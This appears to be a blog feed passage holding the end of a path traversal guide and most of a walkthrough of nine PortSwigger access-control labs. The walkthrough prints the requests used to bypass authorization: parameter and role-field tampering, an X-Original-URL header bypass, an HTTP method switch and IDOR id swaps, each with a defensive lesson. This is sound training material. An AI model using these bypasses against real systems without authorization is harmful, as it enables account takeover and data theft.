control, not a substitute for secure code.</li></ul><blockquote><em>Removing traversal markers from user input alone is </em><strong><em>not</em></strong><em> a complete defense — Labs 3 and 4 demonstrate exactly why naive stripping and decode-order issues make blacklist-only filtering unreliable.</em></blockquote><h3>15. Common Mistakes During Testing</h3><ul><li>Trying only one payload and concluding the target isn’t vulnerable.</li><li>Not reading the lab/target description carefully — it often hints at exactly what filter is in place.</li><li>Not inspecting the raw HTTP request/response in Burp before guessing at payloads.</li><li>Ignoring application error messages, which frequently reveal the validation logic in play.</li><li>Not checking whether URL encoding or double encoding changes the outcome.</li><li>Assuming Linux path syntax and behavior applies identically on Windows targets.</li><li>Assuming any single payload “works everywhere” — behavior depends on OS, framework, and web server.</li><li>Not comparing baseline and modified responses side by side.</li><li>Testing without proper authorization.</li></ul><h3>16. Methodology / Mental Model</h3><pre>Understand → Observe → Identify → Test → Bypass → Confirm → Assess Impact → Report</pre><ul><li><strong>Understand</strong> — know how paths, traversal sequences, and normalization actually work before testing.</li><li><strong>Observe</strong> — study how the application handles file-related functionality in normal use.</li><li><strong>Identify</strong> — locate the specific parameter or input point that touches a filesystem path.</li><li><strong>Test</strong> — try a basic payload and read the response carefully.</li><li><strong>Bypass</strong> — if blocked, reason about <em>why</em>, and choose the bypass category that matches that specific defense.</li><li><strong>Confirm</strong> — verify the returned content is genuinely meaningful, not a false positive.</li><li><strong>Assess Impact</strong> — determine what the disclosed data actually enables.</li><li><strong>Report</strong> — document the finding clearly, with reproducible steps and evidence.</li></ul><h3>17. Practical Cheat Sheet (conceptual reference)</h3><p>Technique Concept Purpose Basic traversal Repeated parent-directory markers Test parent-directory traversal Absolute path Direct filesystem-root path Test direct absolute path access URL encoding Percent-encoded marker Test single-decode filter behavior Double encoding Percent-encoded percent-encoding Test multiple/superfluous decoding layers Overlong UTF-8 Non-standard multi-byte encoding Test legacy/non-strict parsers Mixed slashes Forward vs. backslash separators Test parser/OS differences Non-recursive bypass Marker nested inside itself Test single-pass stripping filters Null byte Percent-encoded null + fake extension Test legacy extension validation Prefix validation bypass Expected prefix + trailing traversal Test canonicalization order flaws</p><h3>18. Key Lessons From the PortSwigger Labs</h3><p>Lab Main Concept Key Lesson Lab 1: Simple case Unfiltered traversal Basic traversal works when no validation exists at all Lab 2: Absolute path bypass Relative-only filtering Blocking the relative marker doesn’t block direct absolute paths Lab 3: Non-recursive stripping Single-pass filters Stripping a pattern once, without re-checking output, can leave a valid sequence behind Lab 4: Superfluous URL-decode Multiple decoding layers An extra decode step performed after filtering can be exploited via double encoding Lab 5: Start-of-path validation Prefix checks before canonicalization Validating that input <em>starts with</em> an expected path is meaningless if done before path resolution Lab 6: Extension validation / null byte Legacy string-termination behavior Extension checks alone are weak; historical null-byte truncation shows why validating <em>content</em> matters more than validating <em>filename shape</em></p><h3>19. Conclusion</h3><p>File Path Traversal is, at its core, a story about unsafe path handling: an application trusts user input to help build a filesystem path, and fails to confirm — after full resolution — that the result stays where it’s supposed to. Every payload category and bypass technique in this article exists because of a specific, identifiable gap in how a particular filter processes input: whether it checks before or after decoding, before or after normalization, on the raw string or the resolved one.</p><p>That’s the real skill being tested across these six labs. Memorizing a list of traversal payloads gets you through the first one or two labs. Understanding <em>why</em> a filter is blocking what it’s blocking — and reasoning backward to the exact bypass that defeats that specific logic — is what gets you through the rest, and what will make the difference on a real target that doesn’t match any lab exactly.</p><p>Burp Suite’s Proxy, Repeater, and Intruder aren’t just tools for firing payloads faster; used well, they’re how you build the evidence needed to understand what an application is actually doing with your input. On the defensive side, the lesson is consistent across every lab: canonicalize before you validate, and prefer allowlisting known-good identifiers over trying to blacklist an open-ended set of bad ones.</p><p>For anyone starting out in bug bounty hunting or application security: path traversal is one of the best vulnerability classes to build real methodology on, precisely because the difference between “payload didn’t work” and “target isn’t vulnerable” is so often just a matter of understanding one more layer of how the application processes your input.</p><h3>👤 About the Author</h3><p><strong>Nitish Mukhiya</strong> is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><h3>Connect</h3><ul><li>🌐 Portfolio — <a href="https://www.nitishmukhiya.com/">https://www.nitishmukhiya.com/</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium — <a href="https://medium.com/@nitishmukhiya">medium.com/@nitishmukhiya</a></li><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHi</a>Y<a href="https://x.com/NITISHMUKHIYAJ">AJ</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb288a5457a7" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/file-path-traversal-complete-hands-on-guide-from-portswigger-labs-to-real-world-testing-bb288a5457a7">File Path Traversal: Complete Hands-On Guide from PortSwigger Labs to Real-World Testing</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control: A Practical Walkthrough of 13 PortSwigger Labs]]></title>
            <link>https://systemweakness.com/broken-access-control-a-practical-walkthrough-of-13-portswigger-labs-60354e4b2667?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/60354e4b2667</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[idor-bugbounty]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Fri, 21 Aug 2026 17:55:04 GMT</pubDate>
            <atom:updated>2026-09-01T10:52:55.267Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I approached 13 real-world access control vulnerabilities using nothing but Burp Suite, curiosity, and a habit of checking things nobody else checks</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdvekpJcTnSa_JJTKUhC1A.png" /></figure><p>If there’s one category of vulnerability that keeps showing up in real bug bounty reports and real breaches, it’s broken access control. Not because it’s technically hard to find — it’s usually the opposite. Most access control bugs are found by asking one simple question over and over: <em>“What happens if I just… try this anyway?”</em></p><p>I spent time working through PortSwigger’s Web Security Academy access control labs, and instead of just collecting solved checkmarks, I kept notes on exactly what I looked at, what I changed, and why it worked. This article is those notes, cleaned up and turned into something you can actually learn from — whether you’re starting out in web security or brushing up before an assessment.</p><p>This is not a theory-heavy write-up. It’s a practical, step-by-step walkthrough of 13 labs, in the order I solved them, with the actual requests, headers, and parameters involved.</p><h3>What Is Access Control?</h3><p>Access control is the set of rules that decide <strong>who is allowed to do what</strong> inside an application. It answers questions like:</p><ul><li>Can this user view this page?</li><li>Can this user perform this action?</li><li>Can this user see or modify someone else’s data?</li></ul><p>When access control is broken, a user ends up doing something they were never supposed to be able to do — viewing another user’s account, reaching an admin panel, or promoting themselves to a higher privilege level. The scary part is that these bugs often require no advanced exploit, no payload, and no fuzzing. Just a parameter change or a missing header check.</p><h3>Authentication vs Authorization</h3><p>These two terms get mixed up constantly, so here’s the short version:</p><ul><li><strong>Authentication</strong> answers: <em>“Who are you?”</em> — this is your login step, your username and password, your session cookie.</li><li><strong>Authorization</strong> answers: <em>“Are you allowed to do this?”</em> — this is checked (or not checked) every single time you request a page or perform an action.</li></ul><p>Here’s the practical example that matters: logging in as “wiener” proves <em>who</em> wiener is. It does <strong>not</strong> automatically mean wiener should be allowed to open /admin, delete other users, or view someone else&#39;s private data. A lot of applications get authentication right and completely forget to re-check authorization on every single request — and that gap is exactly what these labs are built to teach.</p><p>Burp Suite is the tool of choice for this kind of testing because access control bugs live inside the raw HTTP request — a parameter, a header, a cookie, a path — things that are easy to overlook in the browser UI but obvious once you’re looking at the request itself in Repeater.</p><h3>How I Approach Access Control Testing</h3><p>Across all 13 labs, my methodology stayed roughly the same:</p><ol><li>Read the lab description carefully — it usually hints at exactly what’s broken.</li><li>Explore the application as a normal user first.</li><li>Check for “hidden” clues: robots.txt, page source, JavaScript files.</li><li>Note any interesting endpoints or parameters (id, admin, roleid, etc.).</li><li>Capture requests in Burp Suite and read them carefully.</li><li>Send interesting requests to Repeater.</li><li>Modify parameters, headers, HTTP methods, or session cookies.</li><li>Compare the response before and after the change.</li><li>Confirm the actual impact (e.g., did the user actually get deleted/promoted).</li></ol><p>Keep this checklist in mind — it’s the backbone of every lab below.</p><h3>Lab 1 — Unprotected Admin Functionality</h3><h3>Vulnerability / Concept</h3><p>The application has an admin panel that isn’t linked anywhere in the normal navigation, but it also isn’t protected by any real access control — it’s simply “hidden by obscurity.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rFPwCOQw5nWw9aiD6MvDog.png" /></figure><h3>Lab Objective</h3><p>Find the unlinked admin panel and use it to delete the user carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HUqZZ-skpuy6QdsSAawYxg.png" /></figure><h3>What I Looked For</h3><p>Since there was no visible link to an admin section anywhere on the site, the next logical place to check was robots.txt — a file that often lists paths the site owner doesn&#39;t want search engines to index, which frequently includes admin paths developers forgot were still sensitive.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Open the Lab and Explore</h3><p>I opened the lab and clicked through every visible function on the site to get a feel for the normal user flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HUqZZ-skpuy6QdsSAawYxg.png" /></figure><h3>Step 2 — Check robots.txt</h3><p>I navigated to /robots.txt and reviewed the Allow and Disallow entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0f8cHCzzeq60YmDZ3fB9g.png" /></figure><h3>Step 3 — Find the Hidden Path</h3><p>The file disclosed a path: /administrator-panel.</p><h3>Step 4 — Access the Admin Panel</h3><p>I appended /administrator-panel to the site&#39;s base URL and loaded it directly in the browser.</p><h3>Step 5 — Exploit the Access</h3><p>The panel loaded with no authentication or authorization check at all. From there, I located the user carlos and deleted the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfnpYfSn7iNxQZMCquOpFA.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The developer relied on the admin URL being “unguessable” as a security measure instead of enforcing a real authorization check (like verifying the logged-in user’s role) on the server side. robots.txt is public by design, which defeats the &quot;security through obscurity&quot; approach immediately.</p><h3>Real-World Lesson</h3><p>Never rely on a URL being secret. Any endpoint that performs a privileged action must verify — on the server, on every request — that the requesting user actually has permission to be there.</p><h3>Lab 2 — Unprotected Admin Functionality with Unpredictable URL</h3><h3>Vulnerability / Concept</h3><p>Same idea as Lab 1, but this time the admin path is a random-looking string instead of something guessable. The flaw isn’t in the randomness itself — it’s that the client-side JavaScript reveals the path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CAuExG-AyjOT4RTwLP9VaA.png" /></figure><h3>Lab Objective</h3><p>Find the admin panel path and delete carlos.</p><h3>What I Looked For</h3><p>Since robots.txt didn&#39;t reveal anything useful this time, I moved to inspecting the page&#39;s client-side code directly.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Open the Lab and Explore</h3><p>I checked all visible functionality and also checked robots.txt again as a first pass (it came up empty this time).</p><h3>Step 2 — View Page Source</h3><p>I right-clicked on the page and selected “View Page Source” to read the raw HTML and any inline JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uHxom8fF_quBl4_oLgQkZg.png" /></figure><h3>Step 3 — Inspect the JavaScript</h3><p>Inside the source, I found this block:</p><pre>var isAdmin = false;<br>if (isAdmin) {<br>   var topLinksTag = document.getElementsByClassName(&quot;top-links&quot;)[0];<br>   var adminPanelTag = document.createElement(&#39;a&#39;);<br>   adminPanelTag.setAttribute(&#39;href&#39;, &#39;/admin-cc9idx&#39;);<br>   adminPanelTag.innerText = &#39;Admin panel&#39;;<br>   topLinksTag.append(adminPanelTag);<br>   var pTag = document.createElement(&#39;p&#39;);<br>   pTag.innerText = &#39;|&#39;;<br>   topLinksTag.appendChild(pTag);<br>}</pre><p>This code only <em>shows</em> the admin panel link when isAdmin is true for the current user — but it still reveals the actual path (/admin-cc9idx) to anyone who reads the source, regardless of whether they&#39;re an admin.</p><h3>Step 4 — Navigate to the Hidden Path</h3><p>I copied /admin-cc9idx and appended it to the site&#39;s URL, then loaded it directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uJS3B0tcgM_WuGzln8CZBQ.png" /></figure><h3>Step 5 — Exploit the Access</h3><p>The admin panel loaded successfully. I located carlos and deleted the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qWGYnOk_00Hz0aAzRh3pg.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The server never actually enforces who can reach /admin-cc9idx — the &quot;protection&quot; only hides a <em>link</em> to it in the UI. Client-side logic (isAdmin in JavaScript) has zero enforcement power; it only controls what&#39;s rendered in the browser, not what the server will actually allow.</p><h3>Real-World Lesson</h3><p>Never make authorization decisions in client-side code. Anything shipped to the browser — JavaScript, HTML comments, hidden form fields — can be read by the user. Authorization checks must happen server-side, on every request.</p><h3>Lab 3 — User Role Controlled by Request Parameter</h3><h3>Vulnerability / Concept</h3><p>The application decides whether a user is an admin based on a parameter it trusts from the client (admin=false / admin=true), instead of checking the user&#39;s actual role on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nEtvIGi-ahwsbHkRuk_x4w.png" /></figure><h3>Lab Objective</h3><p>Access the admin panel and delete carlos.</p><h3>What I Looked For</h3><p>The lab description made it clear that /admin existed but wasn&#39;t currently accessible. That pointed me toward reviewing the raw HTTP requests in Burp Suite rather than guessing paths in the browser.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Explore and Read the Description</h3><p>I opened the lab, explored the functions, and read the lab description carefully — it mentioned an admin panel at /admin.</p><h3>Step 2 — Check robots.txt and Page Source</h3><p>I checked both as a first pass; neither revealed anything extra this time, so I moved on to Burp Suite.</p><h3>Step 3 — Log In and Capture Requests</h3><p>I logged in using the provided credentials and reviewed the requests flowing through Burp’s HTTP history.</p><h3>Step 4 — Try the Admin Path Directly</h3><p>I took the my-account request, sent it to Repeater, and changed the path from /my-account to /admin.</p><pre>GET /admin HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>Cookie: session=...</pre><p>The response came back <strong>401 Unauthorized</strong>.</p><h3>Step 5 — Inspect the Response Body</h3><p>Reading the response more carefully, I noticed a parameter: admin=false.</p><h3>Step 6 — Modify the Parameter</h3><p>I changed admin=false to admin=true in the request and resent it. This time the response was <strong>200 OK</strong>.</p><h3>Step 7 — Find the Admin Action Endpoint</h3><p>Further down in the response, an action path was visible: /admin/delete?username=carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hs-5fWWEnF6hlFXP1PQfoA.png" /></figure><h3>Step 8 — Trigger the Action</h3><p>I changed the Repeater request’s path from /admin to /admin/delete?username=carlos and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qYs6yOSCyRQb6IcuNejY1w.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The server is trusting a value that the client controls (admin=true/admin=false) as its source of truth for authorization, instead of checking the actual authenticated user&#39;s role against a server-side record.</p><h3>Real-World Lesson</h3><p>Never trust a role or permission flag that arrives from the client — whether it’s in a cookie, a hidden parameter, or a request body. Role checks must be resolved server-side against data the user cannot edit.</p><h3>Lab 4 — User Role Can Be Modified in User Profile</h3><h3>Vulnerability / Concept</h3><p>The application stores the user’s role (roleid) as an editable field that gets sent along with an unrelated action — updating your email address — and the server trusts whatever roleid it receives back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J93twvEH1mdEWzmwsk8vUw.png" /></figure><h3>Lab Objective</h3><p>Escalate to roleid = 2 to unlock access to /admin, then delete carlos.</p><h3>What I Looked For</h3><p>The description explicitly stated that /admin requires roleid = 2. After logging in, I confirmed my account&#39;s current roleid was 1, so I went looking for any place in the app where that value gets sent to the server.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Read the Description and Log In</h3><p>The description confirmed the roleid = 2 requirement for admin access. I logged in with the given credentials.</p><h3>Step 2 — Check Current Role</h3><p>I confirmed my account currently had roleid: 1.</p><h3>Step 3 — Find the Relevant Function</h3><p>I located the “update email” feature and captured its request/response in Burp Suite while performing a normal email update.</p><h3>Step 4 — Inspect the Request Body</h3><p>The request body included the roleid field alongside the email field:</p><pre>PUT /my-account/change-email HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>Cookie: session=...<br>Content-Type: application/json</pre><pre>{&quot;email&quot;:&quot;hello@hello.com&quot;,<br> &quot;roleid&quot;: 1<br>}</pre><h3>Step 5 — Modify the Role</h3><p>I sent this request to Repeater and changed roleid from 1 to 2:</p><pre>{&quot;email&quot;:&quot;hello@hello.com&quot;,<br> &quot;roleid&quot;: 2<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KxlFT7q0cMseEzjnt9E0IQ.png" /></figure><h3>Step 6 — Confirm the Change</h3><p>The response confirmed roleid: 2 had been accepted and saved.</p><h3>Step 7 — Access the Admin Panel</h3><p>I navigated to /admin, which was now accessible, located carlos, and deleted the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zPWkeUrvrVa3PNgUE7vDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98LhCg7Spk0Nn7Qo9l9XQg.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The server treats the roleid field as just another user-editable profile attribute instead of a protected, privileged value. Because the endpoint doesn&#39;t validate or strip that field server-side, the client can set it to whatever it wants.</p><h3>Real-World Lesson</h3><p>Sensitive fields like roles, permissions, or account tiers should never be accepted directly from client input on general-purpose “update profile” endpoints. If a value determines privilege, it needs its own protected code path with proper authorization checks — not a free-text field a user can edit.</p><h3>Lab 5 — URL-Based Access Control Can Be Circumvented</h3><h3>Vulnerability / Concept</h3><p>The application blocks access to /admin using a front-end control (like a reverse proxy or load balancer rule based on the URL path) rather than a genuine server-side authorization check. A supported-but-overlooked header lets you bypass that front-end restriction entirely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*-8qyDZF_ji92uWbjhTIJzA.png" /></figure><h3>Lab Objective</h3><p>Use the X-Original-URL header to reach the admin functionality and delete carlos.</p><h3>What I Looked For</h3><p>The description mentioned that /admin was blocked at the front-end. That&#39;s a strong hint that the <em>back-end</em> application itself might still process admin requests if you could reach it directly — and some back-ends support alternate headers (like X-Original-URL) for routing, which front-end filters often forget to inspect.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Read the Description</h3><p>It confirmed /admin was blocked at the front-end system, not the application itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qd1eb47OTQmN4Ar-we_ZGA.png" /></figure><h3>Step 2 — Review Requests in Burp</h3><p>I looked through the application’s requests for anything related to deleting a user.</p><h3>Step 3 — Add the Bypass Header</h3><p>I took a normal request and added an X-Original-URL header pointing to the admin path:</p><pre>GET / HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>X-Original-URL: /admin<br>Cookie: session=...</pre><p>The response confirmed successful admin access.</p><h3>Step 4 — Trigger the Delete Action</h3><p>Using the same technique, I sent the delete request:</p><pre>GET /?username=carlos HTTP/2<br>Host: &lt;lab-id&gt;.web-security-academy.net<br>X-Original-Url: /admin/delete<br>Cookie: session=...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sxNqh1x1SkkX7yEY8SPFhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8y1sWABh73f0HT9OArQUDg.png" /></figure><p><strong>Lab solved</strong> — the user was deleted.</p><h3>Why This Works</h3><p>The front-end control only inspects the literal URL path in the request line, but the back-end application honors the X-Original-URL header as the &quot;real&quot; path for routing purposes. Since the front-end never checks that header, the restriction is completely bypassed once the request reaches the back-end.</p><h3>Real-World Lesson</h3><p>Never rely on a front-end proxy, WAF, or gateway as your only line of defense for sensitive paths. If the back-end application itself doesn’t enforce authorization, any header, alias, or routing quirk that reaches it directly can bypass the “protection” entirely.</p><h3>Lab 6 — Method-Based Access Control Can Be Circumvented</h3><h3>Vulnerability / Concept</h3><p>An admin action is protected for one HTTP method (e.g., POST) but not for another (e.g., GET), letting an unauthorized user perform the same action just by changing the request method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2ZsAmIz4_3WtIkHKS3EZQ.png" /></figure><h3>Lab Objective</h3><p>Use a normal user’s session to upgrade carlos to admin, by switching the HTTP method the request uses.</p><h3>What I Looked For</h3><p>Two sets of credentials were provided — one admin, one normal user. I compared how the admin account’s “upgrade user” action behaved versus what happened when the same request was replayed with a lower-privileged session.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In as Both Users</h3><p>I logged into the admin account and the normal user account (in separate sessions), and sent both accounts’ requests to Burp Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nhJ7cDR285OPQSeK8fmWcw.png" /></figure><h3>Step 2 — Capture the Admin Action</h3><p>As the admin, I upgraded carlos to admin and captured that request in Burp&#39;s HTTP history, then sent it to Repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgmED94JduyeEsLKsOqW6w.png" /></figure><h3>Step 3 — Swap the Session</h3><p>I replaced the session cookie in the admin’s “upgrade” request with the normal user’s session cookie, then sent the request.</p><p>Result: <strong>401 Unauthorized</strong> — the POST request was correctly blocked for a non-admin session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dW5pMpCwsnS1Op276l18Pw.png" /></figure><h3>Step 4 — Change the HTTP Method</h3><p>I changed the request method.</p><p><em>Note: the original notes mention trying an invalid method first (“POSTX”), which returned a “Missing parameter ‘username’” error rather than an authorization error — Note: the original notes do not specify the exact reasoning here, but this behavior suggests the endpoint’s authorization check is tied specifically to the </em><em>POST method, while other methods skip that check but still expect the same parameters.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*55ATx16-PXjGtuHvTFj_mw.png" /></figure><h3>Step 5 — Supply the Missing Parameter</h3><p>I added username=wiener to the request body.</p><h3>Step 6 — Switch to GET</h3><p>Using Burp’s “Change request method” feature (right-click → Change Request Method), I converted the request to GET, which moved the parameters into the query string.</p><h3>Step 7 — Send the Request</h3><p>The response came back as <strong>302</strong> — a redirect indicating success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bgJR6iU2ZnJgPQMYwYd14g.png" /></figure><h3>Step 8 — Confirm in Browser</h3><p>I checked the account in the browser and confirmed the normal user had been upgraded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Neu_hKVSesMn07C3snoJ2Q.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The developer added an authorization check only for the POST version of this endpoint, likely assuming users would only ever reach it that way. The same underlying action was still reachable via GET, and that code path never checked the user&#39;s role at all.</p><h3>Real-World Lesson</h3><p>Access control checks must be enforced at the <em>action</em> level, not the <em>method</em> level. If an endpoint performs a privileged operation, every HTTP method capable of triggering that operation needs the same authorization check — not just the one the front-end normally uses.</p><h3>Lab 7 — User ID Controlled by Request Parameter</h3><h3>Vulnerability / Concept</h3><p>A user’s own data is fetched using a simple id parameter in the URL, and the server doesn&#39;t verify that the requested id actually belongs to the logged-in user. This is a classic <strong>Insecure Direct Object Reference (IDOR)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92Ft_6dT3dTJU-N3C2Aocw.png" /></figure><h3>Lab Objective</h3><p>View carlos&#39;s account information by manipulating the id parameter.</p><h3>What I Looked For</h3><p>After logging in, I looked at the URL structure of the account page.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In</h3><p>I logged in with the provided credentials.</p><h3>Step 2 — Note the URL Pattern</h3><p>The account page URL looked like this:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/my-account?id=wiener</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3-4C_ierEHnYSbMxYVCWw.png" /></figure><h3>Step 3 — Modify the Parameter</h3><p>I changed id=wiener to id=carlos:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/my-account?id=carlos</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KqVRNPdJI-pj36UMBqzDw.png" /></figure><h3>Step 4 — Confirm the Impact</h3><p>The page loaded carlos&#39;s account details, including the API key needed to solve the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESEEvweyicLUSFdL6eCAWg.png" /></figure><h3>Step 5 — Submit the Solution</h3><p>I copied the API key and submitted it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YNy3zSPxhAc14H47lyUkg.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>The server uses the id value straight from the URL to decide whose data to return, without checking whether that id matches the currently authenticated session.</p><h3>Real-World Lesson</h3><p>Never resolve “whose data is this?” using a value the client fully controls. The server should derive the current user’s identity from their session, and any request for <em>another</em> user’s data should require an explicit, checked permission — not just a matching ID in the URL.</p><h3>Lab 8 — User ID Controlled by Request Parameter, with Unpredictable User IDs</h3><h3>Vulnerability / Concept</h3><p>Same IDOR pattern as Lab 7, but this time IDs are GUIDs instead of usernames — meant to prevent guessing. The flaw is that the GUID still leaks elsewhere in the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0xxjfoZvxfKFTDRpKkaTwg.png" /></figure><h3>Lab Objective</h3><p>Find carlos&#39;s GUID and use it to access his account.</p><h3>What I Looked For</h3><p>Since GUIDs can’t realistically be guessed, I needed to find a place in the app where carlos&#39;s GUID was exposed some other way — most likely somewhere he interacts publicly, like a blog.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Read the Description</h3><p>It confirmed that user IDs are GUIDs, not predictable usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGIxaDha-OoYVkYASgFmIA.png" /></figure><h3>Step 2 — Log In and Check the URL</h3><p>After logging in, the account URL looked like:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/my-account?id=ff4f6815-c480-4762-b1ca-06e73916a0ff</pre><p>This confirmed ff4f6815-c480-4762-b1ca-06e73916a0ff as wiener&#39;s GUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HuFY_v8IwkUnWCMrV2frw.png" /></figure><h3>Step 3 — Check Burp History</h3><p>I reviewed all captured requests in Burp’s HTTP history looking for any reference to carlos&#39;s GUID — nothing turned up there.</p><h3>Step 4 — Check the Blog</h3><p>Back on the site, I browsed the blog section to see if carlos had posted anything.</p><h3>Step 5 — Open Carlos’s Post</h3><p>I found a post authored by carlos and clicked on his username/profile link from the post:</p><pre>https://&lt;lab-id&gt;.web-security-academy.net/post?postId=3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhlmvolnX3oPgCwQIUerqA.png" /></figure><h3>Step 6 — Extract His GUID</h3><p>Clicking through revealed carlos&#39;s GUID in the resulting URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_M1yaWrRYiBiSIuV7oqrA.png" /></figure><h3>Step 7 — Swap the GUID</h3><p>I replaced wiener’s GUID with carlos’s GUID in the my-account URL and loaded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zsr54SMOJ_-11ndeDAXGBA.png" /></figure><h3>Step 8 — Retrieve the Key</h3><p>Carlos’s account loaded, exposing the API key needed for the solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h09cOozv8SzKKP3VX-SAwQ.png" /></figure><h3>Step 9 — Submit the Solution</h3><p>I copied the key and submitted it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FNjJMk1v4PUmOXwe4IN2dQ.png" /></figure><p><strong>Lab solved.</strong></p><h3>Why This Works</h3><p>Using unpredictable identifiers (GUIDs) makes blind guessing impractical, but it doesn’t fix the underlying problem: the server still doesn’t check whether the requested ID belongs to the current user. Since the GUID was exposed elsewhere in the app (the blog), the “unpredictability” defense was irrelevant.</p><h3>Real-World Lesson</h3><p>Obscurity (hard-to-guess IDs) is not a substitute for authorization checks. If IDs for other objects are discoverable anywhere in your application — even indirectly — an attacker will eventually find them. The only real fix is validating server-side that the requester is entitled to the specific object being requested.</p><h3>Lab 9 — User ID Controlled by Request Parameter with Data Leakage in Redirect</h3><h3>Vulnerability / Concept</h3><p>Same IDOR root cause, but here, even though the app tries to redirect away from the unauthorized data, the sensitive information is already present in the body of the redirect response itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YE2JzKF4nITMaWFtsPs-WQ.png" /></figure><h3>Lab Objective</h3><p>Access carlos&#39;s data via a leaked value inside a redirect response.</p><h3>What I Looked For</h3><p>The description hinted that information was leaking somewhere in a response body, so I paid close attention not just to status codes, but to the full response content — even on redirects.</p><h3>Step-by-Step Walkthrough</h3><h3>Step 1 — Log In and Explore</h3><p>I logged in with the provided credentials and reviewed every function, checking requests in Burp Suite along the way — including the login request and the email update request.</p><figure><img alt="" 